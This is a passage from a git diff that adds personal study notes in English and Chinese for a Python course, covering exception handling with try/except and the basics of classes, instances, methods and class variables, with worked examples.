pass': 0} + + for tup in students: + try: + if tup[2] == 'Will pass': + passing['Will pass'] += 1 + elif tup[2] == 'Will not pass': + passing['Will not pass'] += 1 + except Exception, e: + print("got an error") + print(e) + print(tup) + + # got an error + got an error + IndexError: tuple index out of range on line 8 + ('Martha', 70) + got an error + IndexError: tuple index out of range on line 8 + ('Ashley', 68) + got an error + IndexError: tuple index out of range on line 8 + ('Archie', 71) + + + nums = [5, 9, '4', 3, 2, 1, 6, 5, '7', 4, 3, 2, 6, 7, 8, '0', 3, 4, 0, 6, 5, '3', 5, 6, 7, 8, '3', '1', 5, 6, 7, 9, 3, 2, 5, 6, '9', 2, 3, 4, 5, 1] + plus_four = [] + + for num in nums: + try: + plus_four.append(num+4) + except Exception: + plus_four.append("Error") + # + "[9, 13, 'Error', 7, 6, 5, 10, 9, 'Error', 8, 7, 6, 10, 11, 12, 'Error', 7, 8, 4, 10, 9, 'Error', 9, 10, 11, 12, 'Error', 'Error', 9, 10, 11, 13, 7, 6, 9, 10, 'Error', 6, 7, 8, 9, 5]" +``` + + +## 19.3. 👩‍💻 When to use try/except + +The reason to use try/except is when you have a code block to execute that will sometimes run correctly and sometimes not, depending on conditions you can’t foresee at the time you’re writing the code. + +For example, when you are running code that fetches data from a website, you may run the code when you don’t have a network connection or when the external website is temporarily not responding. If your program can still do something useful in those situations, you would like to handle the exception and have the rest of your code execute. + + +```py + +1. fetched some nested data from a website into a dictionary d. When you try to extract specific elements, some may be missing: d may not include a particular key + +example: particular key potentially not being present, write an "if..else" check to take care of it. + +if somekey in d: + # it's there; extract the data + extract_data(d) +else: + skip_this_one(d) + + +However, when extracting lots of different data, can wrap all the data extraction in a try/except. + +try: + extract_data(d) +except: + skip_this_one(d) +``` + +It’s considered poor practice to catch all exceptions this way. +Instead, python provides a mechanism to specify just certain kinds of exceptions that you’ll catch +(example, just catching exceptions of type KeyError, which happens when a key is missing from a dictionary. + +```py +try: + extract_data(d) +except KeyError: + skip_this_one(d) +``` + + +## 19.4. Standard Exceptions + +```py + +StandardError | Base class for all built-in exceptions except StopIteration and SystemExit. +RecursionError 递归 | Raised when the maximum recursion depth has been exceeded. + +BaseException + +-- SystemExit + +-- GeneratorExit + + +-- Other Exceptions + | +-- StopIteration | when the next() method of an iterator does not point to any object. + | +-- Exception | Base class for all exceptions. This catches most exception messages. + | +-- AssertionError | in case of failure of the Assert statement. + | +-- SystemExit | Raised when "Python interpreter" is quit by using the sys.exit() function. If not handled in the code, it causes the interpreter to exit. + | +-- EnvironmentError | Base class for all exceptions that occur outside the Python environment. + | +-- AttributeError | Raised in case of failure of an attribute reference or assignment. + | +-- NotImplementedError | Raised when an abstract method that needs to be implemented in an inherited class is not actually implemented. + + +-- StopAsyncIteration + + +-- ArithmeticError | Base class for all errors that occur for numeric calculation. You know a math error occurred, but you don’t know the specific error. + | +-- FloatingPointError | when a floating point calculation fails. + | +-- OverflowError | when a calculation exceeds maximum limit for a numeric type. + | +-- ZeroDivisionError | when division or modulo by zero takes place for all numeric types. + + + +-- AttributeError + +-- BufferError + + +-- I/O Exceptions + | +-- EOFError | when there is no input from either the raw_input() or input() function and the end of file is reached. + | +-- IOError | Raised when an input/ output operation fails, such as the print statement or the open() function when trying to open a file that does not exist. Also raised for operating system-related errors. + | +-- KeyboardInterrupt | when the user interrupts program execution, usually by pressing Ctrl+c. + +-- ImportError | an import statement fails. + +-- LookupError | Base class for all lookup errors. + | +-- IndexError | an index is not found in a sequence. + | +-- KeyError | the specified key is not found in the dictionary. + +-- MemoryError | a operation runs out of memory. + +-- NameError | an identifier is not found in the local or global namespace. + | +-- UnboundLocalError |when trying to access a local variable in a function or method but no value has been assigned to it. + + +-- OSError | Raises for operating system related errors. + | +-- BlockingIOError + | +-- ChildProcessError + | +-- ConnectionError + | | +-- BrokenPipeError + | | +-- ConnectionAbortedError + | | +-- ConnectionRefusedError + | | +-- ConnectionResetError + | +-- FileExistsError + | +-- FileNotFoundError | when a file or directory is requested but doesn’t exist. + | +-- InterruptedError + | +-- IsADirectoryError + | +-- NotADirectoryError + | +-- PermissionError | when trying to run an operation without the adequate access rights. + | +-- ProcessLookupError + | +-- TimeoutError + + +-- ReferenceError + +-- RuntimeError | a generated error does not fall into any category. + | +-- NotImplementedError + | +-- RecursionError + + +-- SyntaxError | an error in Python syntax. + | +-- IndentationError | indentation is not specified properly. + | +-- TabError + + +-- SystemError | when the interpreter finds an internal problem, but when this error is encountered the Python interpreter does not exit. + +-- TypeError | when an operation or function is attempted that is invalid for the specified data type. + +-- ValueError | when the built-in function for a data type has the valid type of arguments, but the arguments have invalid values specified. + | +-- UnicodeError + | +-- UnicodeDecodeError + | +-- UnicodeEncodeError + | +-- UnicodeTranslateError + +-- Warning + +-- DeprecationWarning + +-- PendingDeprecationWarning + +-- RuntimeWarning + +-- SyntaxWarning + +-- UserWarning + +-- FutureWarning + +-- ImportWarning + +-- UnicodeWarning + +-- BytesWarning + +-- ResourceWarning + +``` + +--- + +## Exceptions + +### Handling the ZeroDivisionError Exception + +```py +try: + print(5/0) +except ZeroDivisionError: + print("You can't divide by zero!") +# You can't divide by zero! +``` + +### Using Exceptions to Prevent Crashes + +```py +print("two numbers > divide them:") +print("Enter 'q' to quit.") + +while True: + first_number = input("\nFirst number: ") + if first_number == 'q': + break + second_number = input("Second number: ") + if second_number == 'q': + break + + # answer = int(first_number) / int(second_number) + # print(answer) + + try: + answer = int(first_number) / int(second_number) + except ZeroDivisionError: + print("You can't divide by 0!") + else: + print(answer) +``` + +### Handling the FileNotFoundError Exception + +```py +filename = 'alice.txt' +try: + with open(filename, encoding='utf-8') as f: + contents = f.read() +except FileNotFoundError: + print(f"Sorry, the file {filename} does not exist.") + +# Sorry, the file alice.txt does not exist. +``` + +### Working with Multiple Files + +```py +def count_words(filename): + # try: + # with open(filename, encoding='utf-8') as f: + # contents = f.read() + # except FileNotFoundError: + # print(f"Sorry, the file {filename} does not exist.") + # else: + # words = contents.split() + # num_words = len(words) + # print(f"The file {filename} has about {num_words} words.") + +# filename = 'alice.txt' +# count_words(filename) + +filenames = ['alice.txt', 'siddhartha.txt', 'moby_dick.txt', 'little_women.txt'] +for filename in filenames: + count_words(filename) +``` + +### Failing Silently + +```py +# def count_words(filename): +# try: +# --snip-- +# except FileNotFoundError: + pass +# else: --snip-- +``` + +--- + +## example + + +```py + +1. Add a try/except clause so the code runs without errors. If a blog post didn’t get any likes, a ‘Likes’ key should be added to that dictionary with a value of 0. + + blog_posts = [{'Photos': 3, 'Likes': 21, 'Comments': 2}, {'Likes': 13, 'Comments': 2, 'Shares': 1}, {'Photos': 5, 'Likes': 33, 'Comments': 8, 'Shares': 3}, {'Comments': 4, 'Shares': 2}, {'Photos': 8, 'Comments': 1, 'Shares': 1}, {'Photos': 3, 'Likes': 19, 'Comments': 3}] + + total_likes = 0 + + for post in blog_posts: + #try: + total_likes = total_likes + post['Likes'] + #except Exception, e: + # print(post) + # post['Likes']=0 + # print(e) + + +2. The code below assigns the 5th letter of each word in food to the new list fifth. However, the code currently produces errors. Insert a try/except clause that will allow the code to run and produce of list of the 5th letter in each word. If the word is not long enough, it should not print anything out. Note: The pass statement is a null operation; nothing will happen when it executes. + + food = ["chocolate", "chicken", "corn", "sandwich", "soup", "potatoes", "beef", "lox", "lemonade"] + fifth = [] + + for x in food: + #try: + fifth.append(x[4]) + # print(fifth) + #except: + # a=0 + + +3. Correctly add try/except clause in the code so that it will correctly populate the list, country_gold, with either the number of golds won or the string “Did not get gold”. + + gold = {"US":46, "Fiji":1, "Great Britain":27, "Cuba":5, "Thailand":2, "China":26, "France":10} + country = ["Fiji", "Chile", "Mexico", "France", "Norway", "US"] + country_gold = [] + + for x in country: + #try: + country_gold.append(gold[x]) + #except: + country_gold.append("Did not get gold") + + +4. Insert a try/except so that the code passes. + + di = [{"Puppies": 17, 'Kittens': 9, "Birds": 23, 'Fish': 90, "Hamsters": 49}, {"Puppies": 23, "Birds": 29, "Fish": 20, "Mice": 20, "Snakes": 7}, {"Fish": 203, "Hamsters": 93, "Snakes": 25, "Kittens": 89}, {"Birds": 20, "Puppies": 90, "Snakes": 21, "Fish": 10, "Kittens": 67}] + total = 0 + + for diction in di: + #try: + total = total + diction['Puppies'] + #except: + # a=0 + print("Total number of puppies:", total) + + +5. The list, numb, contains integers. Write code that populates the list remainder with the remainder of 36 divided by each number in numb. + + numb = [6, 0, 36, 8, 2, 36, 0, 12, 60, 0, 45, 0, 3, 23] + remainder = [] + + for num in numb: + try: + rnum=36%num + remainder.append(rnum) + except: + remainder.append('Error') + print(remainder) + # + [0, 'Error', 0, 4, 0, 0, 'Error', 0, 36, 'Error', 36, 'Error', 0, 13] + + +6. If the key is not there, initialize it in the dictionary and set the value to zero. + + di = [{"Puppies": 17, 'Kittens': 9, "Birds": 23, 'Fish': 90, "Hamsters": 49}, {"Puppies": 23, "Birds": 29, "Fish": 20, "Mice": 20, "Snakes": 7}, {"Fish": 203, "Hamsters": 93, "Snakes": 25, "Kittens": 89}, {"Birds": 20, "Puppies": 90, "Snakes": 21, "Fish": 10, "Kittens": 67}] + total = 0 + for diction in di: + try: + total = total + diction['Puppies'] + except: + diction['Puppies']=0 + print("Total number of puppies:", total) +``` + + + + + + + + + + + + + + + + + + +. diff --git a/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/0.20.0.Classes.md b/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/0.20.0.Classes.md new file mode 100644 index 00000000000..db4201e2ed5 --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/0.20.0.Classes.md @@ -0,0 +1,1044 @@ + + +[toc] + + + +--- + + + +# OOP + + +OOP 最重要的概念就是 类(Class) 实例(Instance) +- 类(Class) + - 抽象的模板,比如Student类, +- 实例(Instance) + - 根据类创建出来的一个个具体的“对象”,每个对象都拥有相同的方法,但各自的数据可能不同。 + +--- + + + + +## Objects + +- In Python, every value is actually an object. + + - Whether it be a dictionary, list, or integer, they are all objects. + +- Programs manipulate those objects + - performing computation with them, asking them to perform methods. + +- an object has + - a state of an object + - represents those things that the object knows about itself. + - The state is stored in instance variables + - and a collection of methods that can perform. + +--- + +- For example +- turtle objects + - each turtle has a state + - turtle’s position, color, heading... + - Each turtle also has the methods(ability) + - go forward, backward, or turn right or left. + - Individual turtles are different in that even though they are all turtles, they differ in the specific values of the individual state attributes. + +![objectpic1](https://i.imgur.com/SlEi5t9.png) + +--- + + + + + + + +# class + + +--- + +## User Defined Classes + + classes +- like str, int, float and list were defined by Python and made available for usER. + +example: +1. mathematical point. + - In two dimensions + - a point is two numbers treated collectively as a single object. + + ```py + # example: + # mathematical point. + # - In two dimensions + # - a point is two numbers treated collectively as a single object. + (0, 0) represents the origin + (x, y) represents the point x units to the right and y units up from the origin. + This (x,y) is the state of the point. + ``` + +2. raw a point object + - ![objectpic2](https://i.imgur.com/vJP8qJm.png) + +3. Some typical operations + - function + - getX: ask the point for its x coordinate + - getY: ask for its y coordinate + - ![objectpic3](https://i.imgur.com/rYpVMXl.png) + - use these types of functions to prevent accidental changes to these "instance variables" + - to view the values without accessing them directly. + + + + +--- + +### 1. 定义类: `use keyword class: class A(object):` + +```py +class Student(object): + pass +``` + +`class`后面着是类名,通常是大写开头的单词, +- 紧接着是`(object)`,表示该类是从哪个类继承下来的, +- 通常如果没有合适的继承类,就使用`object类`,这是所有类最终都会继承的类 +- Class definitions usually at the beginning (after the `import statements` ). + + +```py +# define a class for the point object: + +class Point: + # Point class for representing and manipulating x,y coordinates. + # the docstring of the class will be recognized by various tools. + + def __init__(self): + # Create a new point at the origin + self.x = 0 + self.y = 0 + +# Instantiate object of type Point +# two Points have been created, each having an x and y coordinate with value 0. +p = Point() +q = Point() +print("Nothing seems to have happened with the points") + +print(p) # <__main__.Point object> +print(q) # <__main__.Point object> + +print(p is q) # False + +``` + +--- + + +### 2. creates object instance by constructor `a = A()` + + constructor 构造器 +- function like `Point()` that creates a new object instance +- name for the constructor function = class name + +```py +class A(object): + continue + +a = A() +``` + +- The definition of the constructor function is done by the `__init__ function (method)` inside the class definition. + + +class like a factory for making objects. +- The class isn’t an instance of a point, but contains the machinery to make point instances. +- Every time call the constructor, call the factory to make you a new object. +- As the object comes off the production line, its initialization method is executed to get the object properly set up with it’s factory default settings. + + + + instantiation 实例化 +- The combined process of + - “make me a new object” + - and “get its settings initialized to the factory default settings” + +![Screen Shot 2020-03-28 at 15.43.12](https://i.imgur.com/M5G34wr.png) + +```py + +>>> bart = Student() + +>>> bart +<__main__.Student object at 0x10a67a590> + +>>> Student + + +# 变量bart指向的就是一个Student的实例 +# - 后面的0x10a67a590是内存地址 +# - 每个object的地址都不一样 +# - 而Student本身则是一个类 +``` + + + + +--- + +### 3. 强制填写 `__init__` + + +由于类 class 可以起到模板的作用 +- 因此可以在创建实例的时候,把必须绑定的属性`强制填写`进去。 +- 通过定义一个特殊的 `__init__` 方法,在创建实例的时候,就把name,score等属性绑上去: + + + method init + +- the initializer method constructor +- Every class should have a method with the special name `__init__`. + +- whenever a new instance of Point is created. + - automatically called method init + - It set up the attributes required within the new instance + - by giving them their initial state values + +The self parameter +- could choose any other name, but nobody ever does +- automatically set to reference the newly created object that needs to be initialized. +- `__init__(self)`: + - 第一个参数永远是 `self` ,表示创建的实例本身, + - 把各种属性绑定到 self 创建的实例本身。 + - 有了__init__方法,在创建实例的时候,就不能传入空的参数了,必须传入与__init__方法匹配的参数 + - 但self不需要传,Python解释器自己会把实例变量传进去: +- 和普通的函数相比,在类中定义的函数只有一点不同 + - 就是第一个参数永远是实例变量self,并且,调用时,不用传递该参数。 + - 除此之外,类的方法和普通函数没有什么区别 + - 所以,你仍然可以用默认参数、可变参数、关键字参数和命名关键字参数。 + + +```py +class Student(object): + + def __init__(self, name, score): + self.name = name + self.score = score + +bart = Student('Bart Simpson', 59) + +bart.name +# 'Bart Simpson' +bart.score +# 59 +``` + + + +--- + +## Add Parameters to the Constructor `parameter variables` + + parameter variables > instance variables + +- take in some parameters and save them as instance variables + - the `parameter variables` will go away when the method is finished executing. + - The `instance variables` will still be accessible anywhere that you have a handle on the object instance. +- a way of saving those initial values that are provided when the class constructor is invoked. + + +--- + + +### 1. for the initializer method + + +```py +# Point class for representing and manipulating x,y coordinates. +class Point: + + def __init__(self, initX, initY): + + self.x = initX + self.y = initY + # instance variables: x, y + # supply the x and y as parameters + # When the point is created: + # the values of initX and initY are assigned to the state of the object, in the instance variables x and y. + +p = Point(7,6) +``` + + +### 2. Set default value for an Attribute + +```py +class Car: + def __init__(self, make, model, year): + self.make = make + self.model = model + self.year = year + self.odometer_reading = 0 # Default Value + self.color = "red" # Default Value +``` + + +### 3. Modify Attribute Values + + +1. Modify an Attribute’s Value Directly + +```py +my_new_car = Car('audi', 'a4', 2019) + +my_new_car.read_odometer() +# 0 + +my_new_car.odometer_reading = 23 + +my_new_car.read_odometer() +# 23 +``` + + +2. Modify an Attribute’s Value Through a Method + + +```py +class Car: + def update_odometer(self, mileage): + self.odometer_reading = mileage + +my_new_car = Car('audi', 'a4', 2019) + +my_new_car.update_odometer(23) +my_new_car.read_odometer() +# 23 +``` + + + + +--- + + +## Add `Methods()` class's method + + +### Add Methods(self) + + method + +- behaves like a function +- but it is invoked on a specific instance. + +- serves as a reference to the object itself + - gives access to the state data inside the object. + + - all methods defined in a class that operate on objects of that class will have `self` as their first parameter. + - the method does not need any other parameter information to do its work + - just have one formal parameter, `self` + + + +```py + +1. + + class Point: + # Point class for representing and manipulating x,y coordinates. + + def __init__(self, initX, initY): + + self.x = initX + self.y = initY + + def getX(self): + return self.x + + def getY(self): + return self.y + + def distanceFromOrigin(self): + return ((self.x ** 2) + (self.y ** 2)) ** 0.5 + + p = Point(7,6) + + print(p.getX()) # 7 + print(p.getY()) # 6 + print(p.distanceFromOrigin()) # 9.21954445729 + + +2. + + class Animal: + + def __init__(self,x,y): + self.arms=x + self.legs=y + + def limbs(self): + return self.arms+self.legs + + spider=Animal(4,4) + spidlimbs=spider.limbs() +``` + +--- + + + + +### Add Methods(self, Objects) + + Objects and Parameters as Argument + +- pass an object as an argument 论据 to a function. + + + class method + +- `method distance(point1, point2)` is Point class's new method +- invoked it using the dot notation +- it wilk called the first parameter `self` +- Most programmers choose whether to `make functions be stand-alone` or `methods of a class` based on: whether the function semantically seems to be an operation that is performed on instances of the class. +- In this case, because distance is really a property of a pair of points and is symmetric, it makes more sense to have it be a standalone function and not a method. + +```py +import math + +class Point: + # Point class for representing and manipulating x,y coordinates. + + def __init__(self, initX, initY): + + self.x = initX + self.y = initY + + def getX(self): + return self.x + + def getY(self): + return self.y + + def distanceFromOrigin(self): + return ((self.x ** 2) + (self.y ** 2)) ** 0.5 + + def distance(self, point2): + xdiff = point2.getX()-self.getX() + ydiff = point2.getY()-self.getY() + # same + xdiff = point2.x-self.x + ydiff = point2.y-self.y + + dist = math.sqrt(xdiff**2 + ydiff**2) + return dist + +p.distance(q) +``` + + + + +--- + +### add `method __str__(self)` Convert Object to a String + +include a special method call `__str__`. +- this method uses the same naming convention as the constructor +- It is common that Python uses this naming technique for special methods. + +The `__str__` method: +- return a string representation as defined by the class creator. +- the string that will print when you put any instance of that class in a print statement. + + +```py +class Point: + # Point class for representing and manipulating x,y coordinates. + + def __str__(self): + return "x = {}, y = {}".format(self.x, self.y) + # not print!!!!! + + +p = Point(7,6) +print(p) # x = 7, y = 6 + +``` + +--- + +## Add `Function(Objects)` standalone function + + + standalone function +- `distance(point1, point2)` not a method of the Point class. +- indentation pattern: not inside the class definition. +- "self" is not included as a formal parameter. +- not invoke distance using the "dot notation" 标记法 . + + +```py +def distance(point1, point2): + xdiff = point2.getX()-point1.getX() + ydiff = point2.getY()-point1.getY() + + dist = math.sqrt(xdiff**2 + ydiff**2) + return dist + + +p = Point(4,3) +q = Point(0,0) +print(distance(p,q)) +``` + + +--- + +## 20.8. Instances as Return Values + +Functions and methods can return objects. +- since everything in Python is an object. +- The difference here is to have the method create an object using the constructor and then return it as the value of the method. + + +```py +class Point: + + def __init__(self, initX, initY): + + self.x = initX + self.y = initY + + def getX(self): + return self.x + + def getY(self): + return self.y + + def distanceFromOrigin(self): + return ((self.x ** 2) + (self.y ** 2)) ** 0.5 + + def __str__(self): + return "x = {}, y = {}".format(self.x, self.y) + + def halfway(self, target): + mx = (self.x + target.x)/2 + my = (self.y + target.y)/2 + return Point(mx, my) + +p = Point(3,4) +q = Point(5,12) +mid = p.halfway(q) +# same result: mid = q.halfway(p) + +print(mid) # x = 4.0, y = 8.0 +print(mid.getX()) +print(mid.getY()) +``` + +--- + +## 20.9. Sorting Lists of Instances + + +`sorted()`: provide a key function as a parameter to sorted (or sort). + +refer to a function by name, give the name of the function without parentheses, because you want the function object itself. +- `key=len` +- not `key=len()` + +```py + +1. + + L = ["Cherry", "BigBlueberry", "Blueberry"] + + print(sorted( L, key=len )) + print(sorted(L, key= lambda x: len(x))) + + +2. + + class Fruit(): + def __init__(self, name, price): + self.name = name + self.price = price + + L = [Fruit("Cherry", 10), Fruit("BigBlueberry", 5), Fruit("Blueberry", 20)] + for f in sorted(L, key=lambda x: x.price): + print(f.name) + # + Apple + Cherry + Blueberry + + +3. define a method for the class that does some computation on the data in an instance. + +to refer to that method, without actually invoking it +- refer to Fruit.sort_priority. +- analogous to the code above that referred to len rather than invoking len(). + + class Fruit(): + def __init__(self, name, price): + self.name = name + self.price = price + + def sort_priority(self): + return self.price + + L = [Fruit("Cherry", 10), Fruit("BigBlueberry", 5), Fruit("Blueberry", 20)] + + print("-----sorted by price, referencing a class method-----") + for f in sorted(L, key=Fruit.sort_priority): + print(f.name) + + print("---- one more way to do the same thing-----") + for f in sorted(L, key=lambda x: x.sort_priority()): + print(f.name) + + +``` + +--- + +## 20.10. `Class Variables` and `Instance Variables` + +each `instance` of a `class` +- has its own namespace with its own instance variables + +each `class` +- also have its class variables +- A class variable is set as part of the class definition. + + +```py + +class Point: + # Point class for representing and manipulating x,y coordinates. + + printed_rep = "*" + # It is not inside any method. + # That makes it a class variable. + # It is accessed in the same way as instance variables. + # For example, on line 16, there is a reference to self.printed_rep. If you change line 4, you have it print a different character at the x,y coordinates of the Point in the graph. + + def __init__(self, initX, initY): + + self.x = initX + self.y = initY + + def graph(self): + rows = [] + size = max(int(self.x), int(self.y)) + 2 + for j in range(size-1) : + if (j+1) == int(self.y): + special_row = str((j+1) % 10) + (" "*(int(self.x) -1)) + self.printed_rep + rows.append(special_row) + else: + rows.append(str((j+1) % 10)) + rows.reverse() # put higher values of y first + x_axis = "" + for i in range(size): + x_axis += str(i % 10) + rows.append(x_axis) + + return "\n".join(rows) + +p1 = Point(2, 3) +p2 = Point(3, 12) +print(p1.graph()) +print() +print(p2.graph()) +# +4 +3 * +2 +1 +01234 +# +3 +2 * +1 +0 +9 +8 +7 +6 +5 +4 +3 +2 +1 +01234567890123 +``` + +`class variables` and `instance variables` + +know the rules that the python interpreter uses. + +1. When the interpreter sees an expression of the form `.` `self.name`, it: + - Checks if the object has an instance variable set. + - If so, it uses that value. + - If it doesn’t find an instance variable , it checks whether the class has a class variable + - If so it uses that value. + - If it doesn’t find an instance/class variable, it creates a runtime error (actually, it does one other check first, which you will learn about in the next chapter). + +2. When the interpreter sees an assignment statement of the form `. = `, `self.name=bob`it: + - Evaluates the expression on the right-hand side to yield some python object; + - Sets the instance variable `` of `` to be bound to that python object. + +--- + +Note + +assignment statement +- `. = `: it **only** sets the instance variable , never class variable ; +- ` = `: to set the class variable , at the top-level in a class definition. + +--- + +由于Python是动态语言,根据类创建的实例可以`任意绑定属性`。 + +```py + +1. 给实例绑定属性: + - 通过`实例变量`, + - 通过`self变量`: + + class Student(object): + def __init__(self, name): + self.name = name + + s = Student('Bob') + s.score = 90 + + +2. 给类绑定属性: + - 直接在class中定义属性 + - 属性是 '类属性',归Student类所有 + + class Student(object): + name = 'Student' + + 定义了一个类属性后 + 这个属性虽然归类所有,但类的所有实例都可以访问到。 + +>>> s = Student() # 创建实例s +>>> print(s.name) # 实例并没有name属性,继续查找class的name属性 +Student +>>> print(Student.name) # 打印类的name属性 +Student + +>>> s.name = 'Michael' # 给 实例 绑定name属性 +>>> print(s.name) # 实例属性 优先级比 类属性 高,它会屏蔽掉类的name属性 +Michael +>>> print(Student.name) # 但是类属性并未消失,用Student.name仍然可以访问 +Student + +>>> del s.name # 删除实例的name属性 +>>> print(s.name) +# 再次调用s.name, +# 实例的name属性没有找到,类的name属性就显示出来了 +Student +``` + +实例属性属于各个实例所有,互不干扰; + +类属性属于类所有,所有实例共享一个属性; + +不要对`实例instance属性`和`类class属性`使用相同的名字 +- 因为相同名称的`实例instance属性`将屏蔽掉`类class属性` +- 但是当你删除`实例instance属性`后,再使用相同的名称,访问到的将是类属性。 + + +--- + +In case you are curious, method definitions also create `class variables`. Thus, in the code above, graph becomes a class variable that is bound to a function/method object. p1.graph() is evaluated by: + +`print(p1.graph())` + +- looking up `p1` and finding that it’s an instance of Point +- looking for an `instance variable` called `graph` in p1, but not finding one +- looking for a `class variable` called `graph` in p1’s class, the Point class; it finds a function/method object +- Because of the () after the word graph, it invokes the function/method object, with the parameter self bound to the object p1 points to. + +--- + +## 20.11. Thinking About Classes and Instances + +Before define a new class: + +- What is the data that you want to deal with? + - (Data about a bunch of songs from iTunes? Data about a bunch of tweets from Twitter? Data about a bunch of hashtag searches on Twitter? Two numbers that represent coordinates of a point on a 2-dimensional plane?) + +- What will one instance of your class represent? + - which sort of new thing in your program should have fancy functionality? One song? One hashtag? One tweet? One point? The answer to this question should help you decide what to call the class you define. + +- What `information` should each instance have as instance variables? + - This is related to what an instance represents. + - See if you can make it into a sentence. “Each instance represents one < song > and each < song > has an < artist > and a < title > as instance variables.” Or, “Each instance represents a < Tweet > and each < Tweet > has a < user (who posted it) > and < a message content string > as instance variables.” + +- What `instance methods` should each instance have? + - What should each instance be able to do? To continue using the same examples: Maybe each song has a method that uses a lyrics API to get a long string of its lyrics. Maybe each song has a method that returns a string of its artist’s name. Or for a tweet, maybe each tweet has a method that returns the length of the tweet’s message. + +- What should the printed version of an instance look like? + - determine how to write the `__str__` method + - Maybe, “Each song printed out will show the song title and the artist’s name.” or “Each Tweet printed out will show the username of the person who posted it and the message content of the tweet.” + +--- + +## 20.12. Testing classes `assert p.y == 4` + +To test a user-defined class +- create `test cases` that check whether instances are created properly +- create `test cases` for each of the methods as functions, by invoking them on particular instances and seeing whether they produce the correct return values and side effects, especially side effects that change data stored in the instance variables. + +1. To test whether the `class constructor` (the `__init__`) method is working correctly + - create an instance and then make tests to see whether its instance variables are set correctly. + - this is a `side effect test`: the constructor method’s job is to set instance variables, which is a side effect. Its return value doesn’t matter. + +2. A method like `distanceFromOrigin()`, computing a return value, + - to be tested with a `return value test`. To test a method that changes the value of an instance variable. + - its work by changing the contents of a mutable object (the point instance has its instance variable changed) so it needs to be tested with a side effect test. + +```py +class Point: + # Point class for representing and manipulating x,y coordinates. + + def __init__(self, initX, initY): + + self.x = initX + self.y = initY + + def distanceFromOrigin(self): + return ((self.x ** 2) + (self.y ** 2)) ** 0.5 + + def move(self, dx, dy): + self.x = self.x + dx + self.y = self.y + dy + + +#testing class constructor (__init__ method) +p = Point(3, 4) +assert p.y == 4 +assert p.x == 3 + +#testing the distance method +p = Point(3, 4) +assert p.distanceFromOrigin() == 5.0 + +#testing the move method +p = Point(3, 4) +p.move(-2, 3) +assert p.x == 1 +assert p.y == 7 +``` + + + +================ + +### 3. 给`实例变量` 绑定 `属性`. + - 比如,给实例bart绑定一个name属性: + + ```py + >>> bart.name = 'Bart Simpson' + >>> bart.name + 'Bart Simpson' + ``` + +================ + +--- + +### 数据封装 +面向对象编程的一个重要特点就是数据封装。 + + ```py + Student类中,每个实例就拥有各自的name和score这些数据。我们可以通过函数来访问这些数据,比如打印一个学生的成绩: + + >>> def print_score(std): + ... print('%s: %s' % (std.name, std.score)) + ... + >>> print_score(bart) + Bart Simpson: 59 + ``` + +但是,既然Student实例本身就拥有这些数据,要访问这些数据,就没有必要从外面的函数去访问,可以直接在Student类的内部定义访问数据的函数,这样,就把“数据”给封装起来了。 + +这些封装数据的函数是和Student类本身是关联起来的,我们称之为类的方法: + + ```py + class Student(object): + + def __init__(self, name, score): + self.name = name + self.score = score + + def print_score(self): + print('%s: %s' % (self.name, self.score)) + ``` + +要定义一个方法,除了第一个参数是self外,其他和普通函数一样。要调用一个方法,只需要在实例变量上直接调用,除了self不用传递,其他参数正常传入: + + ```py + >>> bart.print_score() + Bart Simpson: 59 + ``` +这样一来,我们从外部看Student类,就只需要知道,创建实例需要给出name和score,而如何打印,都是在Student类的内部定义的,这些数据和逻辑被“封装”起来了,调用很容易,但却不用知道内部实现的细节。 + +封装的另一个好处是可以`给Student类增加新的方法`,比如`get_grade`: + +```py +class Student(object): + + def get_grade(self): + if self.score >= 90: + return 'A' + elif self.score >= 60: + return 'B' + else: + return 'C' +``` + +同样的,get_grade方法可以直接在实例变量上调用,不需要知道内部实现细节: + +```py +class Student(object): + def __init__(self, name, score): + self.name = name + self.score = score + + def get_grade(self): + if self.score >= 90: + return 'A' + elif self.score >= 60: + return 'B' + else: + return 'C' + +lisa = Student('Lisa', 99) +bart = Student('Bart', 59) +print(lisa.name, lisa.get_grade()) +print(bart.name, bart.get_grade()) +``` + +类是创建实例的模板,而实例则是一个一个具体的对象 +- 各个实例拥有的数据都互相独立,互不影响; +- 方法 就是与实例绑定的函数,和普通函数不同,方法 可以直接访问实例的数据; +- 通过在实例上调用方法,我们就直接操作了对象内部的数据,但无需知道方法内部的实现细节。 + +和静态语言不同,Python允许对`实例变量`绑定任何数据,也就是说,对于两个实例变量,虽然它们都是同一个类的不同实例,但拥有的变量名称都可能不同: + +```py +>>> bart = Student('Bart Simpson', 59) +>>> lisa = Student('Lisa Simpson', 87) +>>> bart.age = 8 +>>> bart.age +8 +>>> lisa.age +Traceback (most recent call last): + File "", line 1, in +AttributeError: 'Student' object has no attribute 'age' +``` + +--- + +## EXAMPLE: + +### 1. point1 + +```py + +class Point: + # Point class for representing and manipulating x,y coordinates. + + def __init__(self, initX, initY): + + self.x = initX + self.y = initY + + def getX(self): + return self.x + + def getY(self): + return self.y + + def distanceFromOrigin(self): + return ((self.x ** 2) + (self.y ** 2)) ** 0.5 + + def __str__(self): + return str(self.x)+","+str(self.y) + + # cause the point to move in the x and y direction + def move(self, dx, dy): + self.x += dx + self.y += dy + + # returns a new Point, one which is the reflection of the point about the x-axis. + def reflect_x(self): + return Point(self.x, -self.y) + + +p2=Point(3, 5).reflect_x() +print(p2) + +p = Point(7,6) +print(p) +p.move(5,10) +print(p) + +``` + +--- + +### 统计学生人数 +给Student类增加一个类属性,每创建一个实例,该属性自动增加: + +```py +# -*- coding: utf-8 -*- +class Student(object): + count = 0 + def __init__(self, name): + self.name = name + Student.count +=1 # 指明这个是类属性 + + +# 测试: +if Student.count != 0: + print('测试失败!') +else: + bart = Student('Bart') + if Student.count != 1: + print('测试失败!') + else: + lisa = Student('Bart') + if Student.count != 2: + print('测试失败!') + else: + print('Students:', Student.count) + print('测试通过!') +``` + + + + + + + + + + + + + + + +. diff --git a/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/0.21.0.Build_Programs.md b/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/0.21.0.Build_Programs.md new file mode 100644 index 00000000000..c9ebbc0422e --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/0.21.0.Build_Programs.md @@ -0,0 +1,74 @@ + +# 21.1. Building A Program: A Strategy + +[toc] + +## 21.1.1. Sketch an Outline + +how to 